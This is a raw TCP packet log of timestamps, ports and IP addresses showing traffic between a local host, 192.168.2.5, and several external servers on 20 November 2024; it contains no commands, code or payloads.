Nov 20, 2024 08:09:24.443603039 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.443613052 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.443623066 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.443625927 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.443634987 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.443644047 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.443645000 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.443658113 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.443670034 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.443671942 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.443689108 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.443698883 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.443710089 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.443710089 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.443723917 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.443730116 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.443737030 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.443747044 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.443748951 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.443761110 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.443769932 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.443774939 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.443780899 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.443793058 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.443803072 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.443814039 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.443814993 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.443825006 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.443825960 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.443839073 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.443846941 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.443851948 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.443865061 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.443890095 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.443908930 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.444572926 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.444586039 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.444597960 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.444610119 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.444619894 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.444631100 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.444633961 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.444642067 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.444653034 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.444677114 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.444680929 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.444691896 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.444694042 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.444704056 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.444715023 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.444725037 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.444725990 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.444736958 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.444746971 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.444751024 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.444755077 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.444760084 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.444766998 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.444771051 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.444782972 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.444792986 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.444804907 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.444813967 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.444818020 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.444829941 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.444840908 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.444847107 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.444853067 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.444864035 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.444874048 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.444880009 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.444885015 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.444896936 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.444911957 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.444911957 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.444920063 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.444925070 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.444935083 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.444936037 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.444948912 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.444969893 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.445000887 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.447951078 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.447968006 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.447981119 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.447993040 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.447998047 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.448004961 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.448019028 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.448025942 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.448029995 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.448052883 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.448067904 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.526715040 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.526729107 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.526741982 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.526752949 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.526765108 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.526774883 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.526787043 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.526786089 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.526838064 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.526849031 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.526858091 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.526870012 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.526887894 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.526891947 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.526900053 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.526913881 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.526920080 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.526925087 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.526937962 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.526949883 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.526963949 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.526988029 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.527338028 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.527349949 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.527359962 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.527371883 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.527383089 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.527389050 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.527396917 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.527410984 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.527426004 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.527563095 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.527753115 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.527765036 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.527787924 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.527806044 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.535342932 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.535402060 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.535407066 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.535413027 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.535454035 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.535464048 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.535567999 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.535581112 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.535592079 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.535603046 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.535608053 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.535630941 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.535665035 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.535854101 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.535866022 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.535876989 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.535891056 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.535892963 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.535902977 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.535907984 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.535916090 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.535928965 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.535938025 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.535960913 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.535985947 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.536446095 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.536458015 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.536468983 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.536483049 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.536493063 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.536495924 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.536505938 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.536516905 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.536528111 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.536529064 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.536540985 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.536546946 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.536551952 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.536562920 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.536565065 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.536576033 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.536588907 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.536592960 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.536624908 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.537339926 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.537352085 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.537364006 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.537377119 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.537389040 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.537399054 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.537405968 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.537409067 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.537420988 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.537424088 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.537432909 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.537440062 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.537445068 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.537456036 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.537456989 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.537467957 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.537478924 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.537483931 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.537517071 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.538275003 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.538291931 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.538302898 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.538314104 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.538324118 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.538331985 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.538337946 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.538351059 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.538357019 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.538362026 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.538373947 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.538378954 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.538391113 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.538403988 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.538415909 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.538428068 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.538429022 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.538444042 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.538454056 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.538467884 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.538491964 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.539248943 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.539261103 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.539271116 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.539283991 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.539294004 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.539299965 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.539305925 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.539325953 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.539330006 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.539339066 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.539345026 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.539351940 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.539365053 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.539386988 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.539422035 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.540087938 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.540100098 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.540111065 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.540122032 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.540133953 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.540137053 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.540143967 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.540155888 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.540167093 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.540174007 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.540178061 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.540191889 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.540199995 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.540201902 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.540215015 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.540215015 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.540227890 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.540242910 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.540268898 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.540977955 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.540990114 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.541001081 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.541011095 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.541022062 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.541033030 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.541040897 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.541044950 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.541057110 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.541066885 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.541069031 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.541081905 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.541085005 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.541095018 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.541101933 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.541106939 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.541120052 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.541136980 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.541178942 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.541821003 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.541832924 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.541860104 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.541873932 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.542294025 CET	443	49842	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.542315006 CET	443	49842	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.542413950 CET	49842	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:24.542413950 CET	49842	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:24.542428970 CET	443	49842	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.542439938 CET	443	49842	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.542639971 CET	49842	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:24.545228004 CET	443	49842	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.545236111 CET	443	49842	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.545253038 CET	443	49842	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.545260906 CET	443	49842	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.545265913 CET	443	49842	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.545283079 CET	443	49842	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.545335054 CET	49842	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:24.545335054 CET	49842	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:24.545345068 CET	443	49842	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.545424938 CET	443	49842	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.545479059 CET	49842	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:24.545484066 CET	443	49842	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.549771070 CET	49840	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:24.566418886 CET	443	49841	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.566451073 CET	443	49841	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.566467047 CET	443	49841	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.566499949 CET	49841	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:24.566518068 CET	443	49841	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.566541910 CET	49841	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:24.566561937 CET	49841	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:24.567646027 CET	443	49840	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.567672968 CET	443	49840	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.567681074 CET	443	49840	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.567703009 CET	443	49840	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.567718029 CET	443	49840	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.567728043 CET	443	49840	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.567739964 CET	49840	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:24.567754984 CET	443	49840	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.567770004 CET	49840	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:24.567857981 CET	49840	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:24.567903042 CET	443	49841	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.567922115 CET	443	49841	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.567959070 CET	49841	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:24.567972898 CET	443	49841	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.567986012 CET	49841	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:24.568022013 CET	49841	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:24.568156004 CET	443	49841	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.568202972 CET	49841	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:24.573668957 CET	443	49840	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.573678017 CET	443	49840	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.573695898 CET	443	49840	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.573717117 CET	443	49840	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.573721886 CET	49840	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:24.573726892 CET	443	49840	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.573743105 CET	443	49840	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.573761940 CET	49840	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:24.573772907 CET	443	49840	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.573793888 CET	49840	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:24.573847055 CET	49840	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:24.573853016 CET	443	49840	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.597552061 CET	443	49843	20.110.205.119	192.168.2.5
Nov 20, 2024 08:09:24.597873926 CET	49843	443	192.168.2.5	20.110.205.119
Nov 20, 2024 08:09:24.597908974 CET	443	49843	20.110.205.119	192.168.2.5
Nov 20, 2024 08:09:24.598300934 CET	443	49843	20.110.205.119	192.168.2.5
Nov 20, 2024 08:09:24.599621058 CET	49843	443	192.168.2.5	20.110.205.119
Nov 20, 2024 08:09:24.599718094 CET	443	49843	20.110.205.119	192.168.2.5
Nov 20, 2024 08:09:24.600054026 CET	49843	443	192.168.2.5	20.110.205.119
Nov 20, 2024 08:09:24.614000082 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.614056110 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.614078045 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.614078999 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.614131927 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.614131927 CET	49765	80	192.168.2.5	185.215.113.206
